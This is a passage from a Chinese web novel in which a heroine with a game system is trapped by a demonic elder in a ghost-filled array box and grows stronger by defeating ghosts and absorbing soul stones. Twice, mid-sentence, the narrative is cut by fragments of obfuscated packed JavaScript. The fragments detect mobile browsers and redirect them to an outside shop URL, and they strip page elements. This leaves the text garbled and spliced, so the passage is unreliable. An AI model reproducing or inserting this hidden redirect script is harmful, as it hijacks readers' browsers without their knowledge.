眼看着魔傀旗即将贴近,龙傲天忽然旋转魔龙钵,将岑羽抛上天当盾。 见此,滕棠不得不换上矿神金装,双脚一蹬,用坚硬的铠甲把岑羽护住,开启十秒伤害免除。 怎么办?接下来怎么办?滕棠大脑高速运转,竟找不到一点办法。 面对[71级]的敌人,再怎么努力反抗,也只是砧板上的鱼。 滕棠刚度完天雷的好心情,瞬间愁云满布。该死的龙傲天!她相信,祥天门之所以在这儿,是因为龙傲天在这儿,身为炮灰的她,不太可能将祥天门老祖招来。 她保护岑羽的同时,万象已经和李孚骅交上手,以魔力阻挡成团成簇的魔傀丝。 岑羽内心略微颤动,生平头一次被人护在怀里,尤其是千傀阵困来,两面鬼旗将二人围住,滕棠以身护他,而不是利用他伏旗换取生机。 矿神金装的附加技能,每次用完有24小时的冷却时间。滕棠免除了一面岑羽的,奈何十秒的时间太短,不足以免除第二面旗子的插入。 千傀阵乃是上古魔阵,专为吸取别人气运而创,阵内有六鬼十凶,一面旗可锁牢一人神魂。 一旦被旗子插住,被困者即使肉身逃脱,神魂也会陷入泥潭,遭魔阵压榨神魂、抽走天道之运,被活活折磨死,几乎没有活命的可能。 万象的出现仅二十秒,昙花一现,虽能帮滕棠抵挡李孚骅一二,却无法将滕棠救走,没过几招便消失不见。 倒是龙傲天狡猾得像狐狸,不知道用了什么方法,指尖搓动一根针,转瞬出现在几十里外,逃离了那可怕的千傀阵。 在万象消失的时候,滕棠发现李孚骅的主要目标是龙傲天,龙傲天不见后,现在所有的目光都集中在自己身上。 看来是逃不掉了,滕棠悲哀一声,将热气球拿出来做最后的努力。 她和岑羽刚翻身进去,一面黑色的旗帜“嘶”一声,扎进她的脊背。 而后,岑羽眼睁睁地看见,滕棠在半空中随手点了下,热气球开始急速飞行,其主人却被黑旗与魔丝拉了下去。 他对此,竟无能为力,多希望滕棠能召唤他本体和最强大的几个分-身。 望着热气球迅速远去,滕棠感到无奈,她没想到李孚骅动作这么快,自己刚点完自动寻路,就被重新拉回砧板。 “老祖,那个魔人?”李婪深询问。 李孚骅摆手:“无妨,一个普通筑基魔人,跑了便跑了,没有下方女子重要。她可是度了十道紫雷,毫发无损。” 黑丝交缠的旗子插在滕棠背上,随风摇摆,不断发出呜咽的声音。魔傀丝顺黑旗钻下,像虫子一样蠕动,深入滕棠丹田。 这就是命吗?滕棠苦笑。 半醒半睡的付岚山乏力地睁着眼皮,瑟缩在灵根角落,对滕棠道:“天雷你都抗下来了,这魔傀丝对你来说不难吧?” 他说得毫无底气,表情丧丧的,又开始假想自己待会儿有多惨,被各种厉鬼抽筋扒皮,最后在冷飕飕的千傀阵内一命呜呼。 滕棠没有回答他,而是在做最后的挣扎。 她用剩下的钱买了[中级解控丹],十枚算上VIP折扣,950上品灵石,财富栏还能剩两位数。 千傀阵在不到一分钟内,便被布置好。方圆百里的人逃了个干净,就连吸入百瓣乌莲的灵修,都一瘸一拐地徒步下山,能跑多远跑多远。 山被天雷劈平,木石焦黑一片,此时的颜色倒和半空相配。千名魔傀动作整齐划一,在头顶排成圆阵,手指掐诀,为六鬼十凶旗灌输灵力。 服下解控丹后,体内的魔傀丝被清除干净,滕棠拔-出与背脊骨相连的黑旗。 鲜血飞洒,她嘶气一声,抬头时,发现自己已身处千傀阵中央,被十五面旗环绕,手里的一面正解散为数根魔傀丝,窜到大阵的一角。 滕棠透过密集的魔傀丝,眯眼将注意力放在那乞丐打扮的白发老头上,获取信息:[李孚骅,男,71级,单土灵根,灵魔双修。天赋技能:千傀术,噬心蛊,善用阵符。] 白发苍苍的老头状若疯子,忽而放声大哭,声似孩提:“跑了,龙傲天跑了!你们怎么回事,一群饭桶!”忽而在天上喜跃抃舞,高兴地指着滕棠:“就她!快快,把她身体炼成魔傀,魂魄锁于阵心,提运给我。” 他说完,却不是李婪深他们动手,而是他自己,脸色一正,双手拉出无数根魔傀丝,绑紧滕棠的手足,将她拉至阵心。 无数丝线缠来,有些细若蚕丝,有些粗如麻绳。滕棠被缠绕成球,不小心吃到几根,忙吐出来:“呸呸……” 突然,脑海里闪过红色,她闭上嘴查看,原来是系统跳出来一条危险提示。 [尊敬的玩家,系统检测到你有被盗号的风险,请不要使用外挂、脚本等修改器,并到账号安全中心加强防护。] 那你快保护我的账号啊!滕棠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032712|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内心呐喊,游戏系统成了她最后的希望。 过了会儿,一股力量开始拉扯她的灵魂,试图分离她的身与魂。这种感觉既痛苦,又模糊恍然,五感时而消失时而出现。 滕棠便在疼痛和惝恍间徘徊,不到一盏茶的时间,精神快被搞得崩溃了。 [警告!系统检测到盗号木马程序,自动花费2000上品灵石清扫防御。] [警告!系统欠债:-1942上品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时一个月!] 好在灵魂即将被分离出去之时,脑袋里响起系统冷冰冰的声音,可靠、美妙,比什么仙女男神说话还动听。 系统自动开启防御后,滕棠仿佛坐了一趟可怕的过山车,终于回到起点。她费力地睁开眼,在魔傀丝缠成的大球内平复心情。 幸好突破至筑基期,否则以炼气期的身体,早就缺氧发紫了。 天上,原本快完成提魂术的李孚骅,忽然停下手,眼部褶子吊起,含糊“咦”了声,问李婪深:“我老眼昏花了,你帮为父看看,那丫头魂提出来了没?” 李婪深一边掐诀维持阵法,一边探头看向魔傀丝球,不确定道:“似乎没有。” 合上牙床,踏空到更易施法的地方,李孚骅又使了几次提魂术,但都没有成功。 他气得胡须翘起,觉得是自己又被心魔占据,导致手法有误,背起两手道:“算了,她那肉身炼成魔傀也没什么用,一起压入旗内开阵。” “魔傀旗不能沾荤。”李婪深提醒道。 李孚骅脾性古怪,突然一抛袖子,大怒道:“大不了再捉一只厉鬼,你管那么多干什么!吩咐你做什么,你只管去做!” 李婪深擦擦汗,心里十分憋屈愤恨,怎奈他体内也有父亲种下的魔傀丝,不敢违逆。 地面上,由魔傀丝缠成的球,被一面黑旗插入。随后大阵开启,无数魔傀丝纷飞,剩余五鬼十凶旗围绕巨球竖立,旗帜无风自动,里面偶有鬼面冒出。 绑缚滕棠的魔傀丝忽然松开,她啪地摔到地上,屁股生疼。 黑蒙蒙的幻境中,风声鬼声嚎啕在一起,刺耳难听。“咿……啊呀……”,滕棠捂住耳朵,发现自己跟一只厉鬼关在笼子里,心里有些害怕。 对方有长长的獠牙和指甲,身上血淋淋的,容貌可怖。但奇怪的是,厉鬼没有看自己,而是抬头望天,眼神渴望得仿佛饿了几百年,忽然见到一块肉。 厉鬼头上显示[43级],打败的可能性等于零。因对方没有表现出攻击的意图,滕棠大起胆子,顺着它的视线往上,隐隐约约看到点人影,应该是李孚骅和李婪深。 “怎么回事?!”李孚骅瞪大浑浊的眼睛,指着下方道:“厉鬼怎么不吃她!气运阵为何不动!” 被喷一脸口水的李婪深,擦了下脸,匪夷所思地看向千傀阵,回答不了李孚骅的问题。这么多年,他光是靠阵法初篇,十分之一的小阵,便能收纳千名魔傀。没道理父亲这完整的大阵,会对付不了滕棠。 “父亲,不如把她放进傀运盒内,插上十六面旗,总有一面能吃掉她。” 听完李婪深的建议,李孚骅搓弄胡须,遂点头采纳,把怀里珍贵的盒子拿出来,置于大阵阵心。 “此人说不定能媲美龙傲天那样的天道之子,好!合我意!”李孚骅大笑道,情绪异常不稳定。 盒子出现,大阵自动将中心的人关进去,并运作十六面旗,插回盒子边缘,各司其位。 [叮!你已经入副本“六鬼十凶傀运盒”,打败厉鬼、凶煞,可获得大量经验和奖励。] 滕棠再次跌了一跤,身处的世界黯淡无光,只有穿戴上系统套装,才能看清周围飞来飞去的冤魂。 盒子里很冷,幸好[昼焰焚火]套装自带温度,才不至于冻成冰块。 [温馨提示,您的坐骑限定·热气球,由于长时间不使用,系统已自动收回。] 听到提示,滕棠有些担忧岑羽,当时情况紧急,她在地图上随便点了个东边的位置,开启自动寻路,也不知道会飞到哪里去。万一他飞得太高,又没灵剑可御,热气球消失后,摔死了怎么办。 发了会儿呆,在伙伴栏确定岑羽还活着,滕棠放心下来。不过……比起伙伴,自己现在的处境更难吧?要是她死了,岑羽还有另几个伙伴会跟着挂掉。 滕棠叹了口气,心道只能走一步看一步,自己没死就还有机会。 望向四周,很多被关进来的魂魄,有的不经榨取,或是在这里待得太久,已经残缺。 魂魄方面的伤害,很难逆转。滕棠被关到这里后,很是害怕,身上起了许多鸡皮疙瘩,每一步都走得小心翼翼。 忽然,前方出现只[38级]凶煞,鳄面狼身,爪子有她脑袋那么大,牙齿有手臂般粗。环境本来就黑,乍见这么丑陋吓人的东西,她免不得愣在原地。 她和凶煞隔着一段距离,面对面许久,谁也没动。 一分钟、两分钟,一盏茶时间过去……凶煞终于动了,唬得滕棠立马拿出一米长刀。结果那长得寒碜的东西甩甩尾巴,背对着她离去。 滕棠突然心生一种感觉,这凶煞对自己没有兴趣…… 盒子外,李孚骅站在祥云舟头,随千名弟子回门派。他左手一直在挠头皮,烦闷地看向盒子内的六鬼十凶,喃喃自语:“怎么回事,她难道没有气运?” 六鬼十凶是专门驯服来汲取气运的,不管是丢个强的修者,还是弱的修者,或者随便丢个凡人进去,都会被饿虎扑食,呜呼消失,成为他和六鬼十凶的食物。 每个人都有气运,李孚骅活了这么多年,从未见过气运全无之人,除非这是个死人。 李孚骅迷惑地转动盒子,让滕棠遇到不同的厉鬼和凶煞,最后得到的结果都很一致。没有旗魔愿意动她,连里面四处游荡的弱鬼冤魂,都对她没反应。 “不可能!”李孚骅不信邪地一直转动盒子。 那雷劫虽无祥瑞,但能抗下十道紫色天雷的人,怎么会没有气运?! 李孚骅焦躁着,神智很快被心魔强占,又变得疯疯癫癫的,一会儿哭一会儿笑。 盒子内,滕棠在边缘走了数圈,被吓好几次之后,忽然适应下来,能够淡定面对突兀出现的厉鬼或凶煞。 反正到目前为止,没一个展现攻击的意图,她别自己把自己吓死了。 她逛着逛着,偶然走入阵心,隐约看到两点蓝色的光,忍不住好奇,走过去看。 54. 第 54 章 还没走到中层环阵,体内的付岚山又开始咋咋呼呼,把她灵根缠得死死的:“完蛋了,完蛋了,我和你会死在这里的,怎么这么多鬼,还有厉鬼凶煞!我没有肉身,最怕这个了。” 他不断描述着厉鬼和凶煞的残忍,说得滕棠手心冒汗,脑子里全是自己被撕碎的血腥画面。 “别说了!” 滕棠制止他,再往前看时,那两点蓝光已经消失,远处黑魆魆的,传来各种泣诉之音。除了哭声,还有呐喊和尖叫,穿破幽暗,与寒气扑来,惊起她一身鸡皮疙瘩。 这还不是最难受的事。 系统猛不丁响起提示,让她糟糕的心情雪上加霜:[你的伙伴岑羽正在遭受攻击,快要死亡!] 这瞬间什么鬼都顾不上了,滕棠打开伙伴栏,揪心地看到,属于岑羽的那个方框在闪红色的灯。岑羽在外面到底发生了什么,难道他没掩藏好魔族身份,遭灵修追杀? 没有召唤卡,滕棠无法让岑羽抽离险境。她焦急地注视着打问号的方框,心里祈祷他没事。 过了会儿,岑羽还真有所好转,红灯退去,方框恢复黑色。见此,她“呼”地长舒一口气,张望四周,开始寻找自己的生路。 暗与光泾渭分明,滕棠穿着闪亮的套装,每动一步,附近就亮出块地方。 冤魂中男女老少皆有,大都残缺不全,模样狰狞而痛苦,呜呜地哭着,令人耳不忍闻。 这时,她想起系统新版本增加的功能,连忙顿足,在主界面右上角打开牛皮纸。 地图很简略,几乎没有什么信息。她现在身处在方阵偏南角,下方写着[副本地图:六鬼十凶傀运盒],往上是盒子中心地带,标有[阵心]二字。 滕棠对阵法符箓等了解浅薄,但亲身经历过明月八角塔中的大阵,当时杀浮大佬告诉她“阵心所在,即是出路”,因此她毫不犹豫地往里面走。 越往深处,地面花纹越多。借着套装的光,滕棠辨别那些文字,发现读起来没有特别之意。再向前走两步,方才明白,这些字是人名。姓氏在上,名列在下,用行楷书于冥灵花纹中。 有几个名字她竟然知晓,他们都是祥天门很有名的弟子。 滕棠忽而明白过来,为何见到的祥天门之人,皆那般死气沉沉。他们都是可怜人,怀揣成仙的憧憬拜入祥天门,却不想被炼成魔傀,魂魄永生永世锁在这盒子内,供李孚骅延绵气运。 滕棠绕着密密麻麻的字走,心里估量,起码上千个,心里骇然不已。 怪不得世上一直流传着“祥天门老祖还活着”的传闻,据说他每三百年现身一次,在世六千年有余,一直未老死进入轮回。 李孚骅能活这么久,恐怕凭借的就是这上千修者的气运。 老天的天雷怎么不劈这种人,要劈无辜的她! 在一片哭嚎中,滕棠迈过无数朵冥灵花,朝里面走去。 她走着走着,脚下忽然出现个写着“厉鬼三”的三角图案,随着她进来,图案三边线陡然生烟。 一只披头散发的女鬼凭空出现,吐着长舌,用凸出来的眼球瞪她,把滕棠吓得不轻。天杀的,她最怕这种突然冒出的鬼。 一人一鬼互瞪,半晌后,滕棠先败下阵来,抬脚轻悄悄往右走。这一角又踩到“凶煞四”的方格,转身便是只青蛇猴子。 猴子没有脸,整个头上长满小蛇,约有百条。在她出现时,蛇头全部竖起,晶亮的蛇瞳与她双目平视。她低头,上百条蛇也低头,她抬头,它们也跟着立起头。 这里真不是人待的地方,太阴间了。 滕棠用手不断抚平心脏,脸色煞白,额头冒出细密的汗。她暗自后悔,上辈子应该多看点鬼片,提高承受能力,不至于怕成这样。 滕棠将矿神金装的头盔取出来,周围立刻明亮了不少。光束照到地图中心,那里的阵符和外面一圈有很大差别。 阵心摆放了几块石头,好像还有个小小的水池。 之前看到的蓝色光点,便是池水里游动的,仿佛鱼一般跳跃出水面,咚地一声落下。 滕棠视力还不错,在蓝光跳出来时,注意到它有标识[31级]。奈何它是动态的,滕棠很难集中心神点到它旁边的三角标,也就看不到它的详细信息。 要过去吗?瞄着一左一右的鬼,滕棠心里打鼓。 蓝光在不停跳动,好似在呼唤她,希望她过去。 滕棠思考了会儿,心想都到这个地步了,横竖是死,不如壮起胆子,到处闯一闯,说不定能闯出生路来。 滕棠颤巍巍地抬起腿,从女鬼和青蛇猴子中间挤进去,小心翼翼走向地图中心。 她头皮发麻地选择背对青蛇猴,与女鬼来了个贴面礼。女鬼比她矮半头,仰瞪着她,有一颗眼球吊在眼眶外,那红洞洞的地方,看得滕棠的心脏漏了一拍。 刚挤进它们中间,脚下的线再次冒出滚滚黑烟。 紧张兮兮的滕棠迅速回去,大口大口喘气,拍着胸口,和两只手拉手的鬼商量道:“不要一直瞪着我,对眼睛不好。” 一左一右的厉鬼和凶煞,像是两只看门狗,视线一直在她身上,却无攻击之意,看样子只是在拦她,不让她进阵心。 困在盒子里已有一个时辰,滕棠不懂,为何李孚骅还不对自己出手。莫非他太老,记忆力下滑,忘记盒子里还有她这么号人物? 无法进入阵心,滕棠退出两个连环小阵,仔细思索,既然李孚骅暂时不拿她开涮,她何不趁机涨经验?万一有逃出去的机会呢? 这里面被称为“副本”,掉落的经验和物品一定很不错。系统扣灵石阻止李孚骅盗号后,她还欠着近两千上品灵石,想要游戏不倒闭,起码要连升8级。 至于怎么逃出去,出去后对上李孚骅等人怎么办,滕棠暂无对策。 她现在不想焦虑这些,只想拼命地做点事,看能否创造生机。游戏系统是她唯一的救命稻草、仅有的希望,努力升级后,说不定能帮上忙。 滕棠深呼吸一口,迫使自己冷静。她闭目放空冥想了一阵,再睁开眼时,又变成那个不服输的滕棠。 她提着刀,将矿神金装的头盔戴在头上,而后借着套装和头盔的光芒看清周围。 走出冥灵花圈后,她将目标瞄准外层等级低的小鬼。 厉鬼和凶煞实力太强了,不好挑战,只有小鬼好打一点。 傀运盒中的小鬼是专门炼来欺负冤魂的,原本那些被汲取气运的灵修已经很惨,却还要每日遭小鬼殴打撕咬,饱受折磨。 由于阵型布置,外方内圆,阵心为六鬼十凶所守,因此小鬼基本上在外围游荡,离里面的圆阵很远。 滕棠找到一个正在踢打残缺冤魂的小鬼,心里万分嫌恶,举刀便砍下去,和[10级]的小鬼打了起来。 傀运盒里没有天地灵气,若哪个修者被关进去,不被鬼煞吞肚,也会被活活耗死。 所以当李孚骅回到门派,再次拿出盒子查看情况,看到滕棠和小鬼打架时,别提多兴奋。 他乐呵一笑,脸纵成千层饼,吐字不清道:“嘿嘿嘿自寻死路!自寻死路!” 李婪深一直待在他身旁,忍不住询问:“那女子如何了?为何没有气运?” 李孚骅疯癫了好一阵,没有搭理他儿子,直到快走进洞府,才变得正常。 李孚骅没提滕棠的事,已经断定这人没有价值,且滕棠会死在她盒子里。 他对李婪深吩咐道:“跟福鹿宗搞好关系,他们有些弟子的天赋、气运很不错。” 李婪深弓腰应了声“是”,小心翼翼地问:“父亲又要闭关?” 李孚骅点头,搓弄胡须道:“为父心魔愈发猖狂,此次闭关约为十年,你要多收点魔傀。” 两父子的相处模式更像主仆,话语间毫无感情。李婪深低着脸,表情是丑陋的,十年,他一定要找到清除魔傀丝的方法。今日那丫头能做到不被魔傀丝侵占,说明他也有机会摆脱父亲的掌控。 可惜那丫头在盒子里,自己无法得知她是怎么做到不被控制的。算算时间,她应该已经被鬼吃了吧。 盒子内,滕棠对低级小鬼发起了挑战。 如果没有系统灵力条,滕棠万不敢这样胡来。她是在试抽了一点灵力格,运于体内后,发现系统灵力条的恢复不受限制,才决定拿这些小鬼开刀。 滕棠和妖兽魔怪都打过,却还没和鬼打过,第一次挑战[10级]的小鬼,难免轻敌,挥刀过去,并无任何打击感,像砍了团空气。 倏然她和小鬼对视到,迷怔在原地,还被小鬼咬了口手臂。 为何小鬼能透过套装咬到她的肉?她刚才那刀,打出的伤害比平时弱很多。 [温馨提示,你正在挑战吊死鬼,购买使用灵魂石,可打出更高的精神伤害。‘点击购买’] 灵魂石这个物品,滕棠隐隐约约有印象,但是这种需要氪金购买的东西,她向来不熟悉。 一边避开被激怒的小鬼,滕棠一边在脑子里快速点击购买。 [提示!玩家需达到50级,才能开启魂海功能。] [灵石不足,无法购买] 原来是魂海需要的材料……滕棠模糊想起来些,可惜上辈子只玩到四十级,还没开启过这个玩法。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032713|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 初次尝到血肉的味道,小鬼突然兴奋起来,张开血口,大吼大叫,声音如同无形的针刺,锥向滕棠识海。 这瞬间,滕棠忆起雾蓝秘境中的食人螟,同样是用声波进行神识攻击。 滕棠痛得咬紧牙齿,熬受脑子里的余波。 所幸有丝精神力在,比当初遇到食人螟时凝实一倍,使得她能够勉强护住心神,不至于被击溃。 她扶着头,意识到了鬼的可怕,再也不敢小瞧它头上的[10级]。 武器对它们造成的伤害,几乎可以忽略不计,它们攻击人造成的伤害,却是极其难恢复的灵魂伤害。 稳住动荡的识海,滕棠不防又被咬了一口腿,忙低头连刀劈下,疾步后退,凝了一团灵力修复伤口。 对这只小鬼的挑战已经开启,除非她现在退出副本,否则会被小鬼一直纠缠下去。 滕棠很少使用识海中的精神力,不确定对小鬼能造成多少伤害。她怕自己精神力枯竭,反被小鬼战胜,在晕倒后让对方吃了个饱。 自第一次吼叫后,时间一分一秒地过去,小鬼没再使用第二次。它好像也需要很长的时间恢复,咬滕棠长刀的力度都轻了,青黑的鬼面有些打蔫。 滕棠深呼吸一口,调出识海的精神力,攻击离自己越来越近的小鬼。若要灵台清明,必须留一分精神力于识海,她只能将那缕精神力分成三份,仅使用三分之二。 无形的力量,在小鬼接近滕棠的时候,悄悄钻入它的脑子。 小鬼像是被锤了下头,抓着缭乱长发,凄厉地嘶叫,声波夹带有精神力,让滕棠亦不好受。 这时,系统又机械地念起:[你的伙伴岑羽正在遭受攻击,快要死亡!] 滕棠惊悸了下,趁小鬼还没缓过来,打开伙伴栏,发现岑羽的头像框又亮起红光。 只是这次她还没来得及祈祷,便收到四条系统信息: [你的伙伴岑羽,已被好友龙傲天击败。] [正在结契] [结契成功] [已达上限!(选项)查看详情不再提示] 滕棠脑子空白了片刻。 她对岑羽说要报答恩情,此刻相隔两地,龙傲天杀他,她却不能救他,眼睁睁变成了阴阳相隔。 龙傲天算哪门子好友?系统竟然把他标注为好友!她和龙傲天这辈子都是仇人! 愧疚的心很是沉闷,滕棠难受极了,恨不得将龙傲天碎尸万段。 “啊。”手臂的痛让她惊醒,入目一张黧黑的鬼脸,张着尖锐獠牙,咬着她手不放。 或许是伙伴身死的愤怒点燃了滕棠,她俯身,与鬼面瞋目相对,调出识海内仅剩的精神力,近距离毁向小鬼的灵台。 很快,她好像感觉到了什么,闭目将所有注意力集中。 此时她就是那丝无形的力量,在对方灰蒙的识海内拆天毁地。她心有所悟,把精神力化为无形的巨斧,以盘古开天的气势,将小鬼识海砍裂,其后又变成长刀,把灵台斩成渣。 [击败10级吊死鬼,经验值+33333……] [掉落物品:灵魂石×1] [恭喜玩家升至23级!] [获得升级奖励:+230上品灵石。] [警告!系统欠债:-1712上品灵石,无法维持游戏运营。热血岁月即将倒闭关服,倒计时29天1小时!] 手臂上的牙口松开,滕棠困倦地睁开眼,看到飘浮的小鬼逐渐消失,散成一团黑气,被阵法拉扯到边缘。 精神力几乎被耗尽,她此时很想睡觉,身体摇摇晃晃的站不稳,这会儿头盔的明光显得很刺眼。 滕棠跪伏在地上,不断用手敲头,砰砰砰的金属声,令她清醒了些。 她将舌尖咬出血,忍着困意打开伙伴栏,岑羽确实不在了,第一个方框变成屠丹,而后是杀浮、万象,最后一格下方写着“醉星子”。 醉星子是新结契的伙伴,等级高到滕棠差点以为自己眼花。[86级]!她目前遇到的最厉害的修者。 炼气,筑基,金丹,元婴,出窍,分神,合体,洞虚,大乘,渡劫,飞升……86级对应大乘期…… 大乘期六层……这样的强者,自己怎么会结契到? 滕棠扶着脑袋,缓缓躺平,睡在外圈阵法上。 能撑到现在,全凭她强大的意志力,这会儿识海平静,顿悟的灵台褪去旧壳,剥出崭新的力量。她感觉自己很困,沉重的眼皮完全掀不开。 滕棠昏睡前在想,见了这么多鬼,会不会做噩梦,刚才看到的大乘期六层强者,是自己眼花了吧? 55. 第 55 章 傀运盒之中,所有路过滕棠的小鬼,都对她视若无睹。 只有几个神志不清、魂魄不全的残魂,因在黑暗中待得太久,偶然见到光芒,不由自主地想要靠拢,有气无力地朝滕棠爬去。 盒子内的怨气极重,小鬼横行之下,常有缥缈的尖叫声,刮人耳膜。 “她难道死了?” 付岚山这会儿是清醒的,缩在滕棠丹田里不敢出去,见她一直没醒来,还以为她被吊死鬼破坏了识海。 这里面没有灵气,他发现滕棠丹田有,且源源不断,完全足够帮它蕴养神魂。 付岚山一边将五色灵根缠得更紧,一边嗒丧地喃喃:“这次绝对死定了,好多小鬼,还有厉鬼凶煞,怎么办……我不想被吃掉。” 时间一点点过去,滕棠的识海与灵台已经恢复过来,并且发生了新的变化。 她是在一声嘶吼中惊醒的,身体弹了下,睁开眼睛,见到几只缺眼睛少鼻子的冤魂趴在自己身上,吓得丢了半条魂。 冤魂虽然没有重量,但有温度,冰凉凉的,让人感到很不舒服。 她起身把他们挪开,原地走了几步,发现自己完好无损,身上没有掉一块肉。 打开系统,每日签到缺勤了十日,她竟然睡了这么久……滕棠感到不可思议,尤其是这段时间,李孚骅竟然没杀她。 他或许觉得把我丢进盒子里,我就活不了了?滕棠思索着,内心无比庆幸。 打开商城,距离[强制召唤卡]的刷新,还要等几日。滕棠有些迫不及待,反反复复地点击[伙伴],把“醉星子”三个字看了无数遍,确定真的结契到了这么强大的伙伴。 她看到了生机。 李孚骅有洞虚期的实力,太强,万象都不是他的对手。眼下出去的希望,全在这位新伙伴身上,如果把醉星子召唤而来…… 滕棠心生希望,心中对热血岁月连连感谢,真是帮到了大忙。 伙伴位每十级解锁一个,眼下有四个伙伴,不知道他们是怎么被结契上的,一个比一个强,让滕棠很安心。 她打开个人信息界面,发现自己已经升到23级,再升两级,系统多半会再绑个倒霉鬼过来给她当伙伴。 滕棠对此也很无奈,只能努力保命,免得牵连这些无辜大佬。 系统主界面的下方,历史消息还留着。滕棠滑过倒闭提示那条,在上方找到击败小鬼的奖励。 灵魂石已经存放进背包,恐怕要等升到50级才能用。 她把漂亮的石头取出来,放在手心上。 小小一枚半透明的蓝色软石,很快吸引了附近冤魂的视线,伸着断臂向她讨要。 不止他们,滕棠也被灵魂石莫名吸引,手离自己的眼睛越来越近。 不知不觉中,她已经把灵魂石贴在额头上,识海内的精神力雀跃游走,灵台旋动,像织布机一样从灵魂石内抽出丝丝力量,最后与她本身的精神力融合。 滕棠回想起昏睡前和小鬼的交战,那时她与精神力合而为一,轻盈、自由、无我。她就是那股力量,可随意变化,于是变成了一把斧子、一把长刀。 她不知道,这归咎于她的灵魂不属于这具身体,才能自行切断,让自己拥有鬼或煞那样的天赋。 魂生灵识,灵识炼精神力,三者融之,调出体外,是无数修者最害怕的攻击。 滕棠的脑子里,中央长出一方小小的灵台。灵台形色很淡,漂浮在识海正中央,宛若莲台,半打开着。 她乐此不疲地吸收着灵魂石的力量,使灵台越发有形,驱散识海天地的一片灰蒙。 当滕棠聚神于此,忘却与肉-体之间的联系时,那丝丝游走的精神力被完全控制,随她心意而动,一会儿变成长刀,横贯于识海,一会儿变成飞刀,左右旋动。 灵魂石被吸取的速度变快,须臾时间,便消失得无影无踪。 手心空了,滕棠神采焕发地睁开眼。她没想到,未开启魂海功能,自己也能使用灵魂石。刚才那块灵魂石,让她精神力变强了两倍! 这事要是让外面的修者知道,恐怕要掀起大风波。 自古以来,不管是灵修还是魔修,无一人在元婴之前开辟识海。且精神力最难修练,通常是买一本魂书,自行刻苦磨砺,或者吃百灵鸟等特殊妖核,才能增强精神力。 古时,也有人试过取用游鬼里的灵魂石,但大都没有好下场,不是被鬼气附体变成疯子,便是被鬼气攻心,堵塞心脉,导致无法修炼。更有甚者,取的厉鬼、凶煞的灵魂石,吸入体内,直接暴毙而亡。 所以久而久之,没有人敢用灵魂石。这种东西通常出现在鬼市,被一些邪门歪道的魔修用来坑害他人。 滕棠能够把灵魂石吸入灵台,归功于系统的自动捡拾功能。 小鬼被击败后,系统将鬼气分离,只收了干干净净的灵魂石进背包,徒留鬼气原地消散。因此滕棠吸收它的力量后,没有一点影响。 滕棠的手心没有灵魂石,周围的残魂冷静下来,但仍挤在她脚边,感受久违的光芒。 望着这些残缺的灵魂,滕棠免不得长叹。 七魂六魄丢失或受损,难以逆转,即便重入轮回,来世也不可能正常,大都会成为傻子疯子。李孚骅对自己门人也太狠了,这些都是他弟子啊! 滕棠踏着沉重的脚步,越过他们,在视线范围内寻找小鬼。她想试试现在的精神力有多强,同时想多收集一些灵魂石,让自己变得更强。 再次面对[10级]的小鬼,滕棠没有了忧惧,甚至有点欣喜。 换个角度想,这盒子里,只要李孚骅不动她,简直是个大涨精神力的天堂。鬼和煞本来就少,藏在人间隐秘之处,很难遇见,这里却有一堆。 滕棠选择完一只胖胖的蓝白色小鬼,发现精神力增长两倍之后,系统判定她的魂海等级比小鬼高,其话术也变了:[你正在挑战11级溺水鬼]。 没有提示她实力不够,让她买灵魂石,说明这鬼的实力完全在她之下。 从容自如地调出识海内的精神力,于空中形成看不见的刀。这把刀在滕棠识海内,看起来有天地之宽长,调出体外后,却非常短小,还不如一把匕首。 精神之刀,利刃锋尖,向溺水鬼的灵台摧毁而去,无声穿过它脑袋。 只听“铮嗡”一声,类似断弦的声响,溺水鬼开始疯狂地嘶叫挣扎。 一刀之后,滕棠的神态略显疲乏,如果溺水鬼没有飘在空中,离她再近点,她可能没这么费力。 歇息几秒后,她调出三格灵力于足下,把自己托起半米高,和溺水鬼接近,使出第二刀、第三刀。 溺水鬼“呀啊”叫个不停,鬼面扭曲得模糊,五官拉扯着,一口绿色的碎牙几乎陷进肚子里。 它挣扎许久,灵台轰然碎裂,荒芜的识海中央,伤口越开越大,最终直接撕裂它的灵识天地。 [击败11级溺水鬼,经验值+777……] [掉落物品:灵魂石×1] …… 失去灵魂石的鬼气,宛若被风吹起的粉尘,漫天散去。 滕棠击杀成功后,觉得很累,但没有像上次那样昏迷过去。 她把奖励拿出来,像读传音石那样,将灵魂石贴在额头上吸收。 偶然发现,她越是困倦,灵魂石对自己越有吸引力。她的眼睛方看到这块软软的蓝色石头,右手便一巴掌,“啪”的一声,把灵魂石打在额头上,如饥似渴。 吸收完灵魂石,滕棠仍然觉得困。 她睁了睁微沉的眼皮子,不太想花时间睡觉。机会不等人,错过了这个村就没这个店了。再者,李孚骅在外面,随时可能发觉她的不对劲,她必须时刻保持警惕。 “滕棠,你还活着?”付岚山惊讶的声音,在她体内响起。 肥圆的棕黑蛇头摇来晃去,蛇尾松开她的灵根,不再大量汲取。 他当着滕棠的面,打了个嗝,亮出两颗尖牙,高兴地嘶嘶,发出的声音只有滕棠听得懂,因为他们有主兽符契在。 “我以为你死了!我是公蛇,占你的身体就变成女人了,还好你活着,你记得好好帮我养那副男壳子,就是炼狱迷宫里捡的那具。” 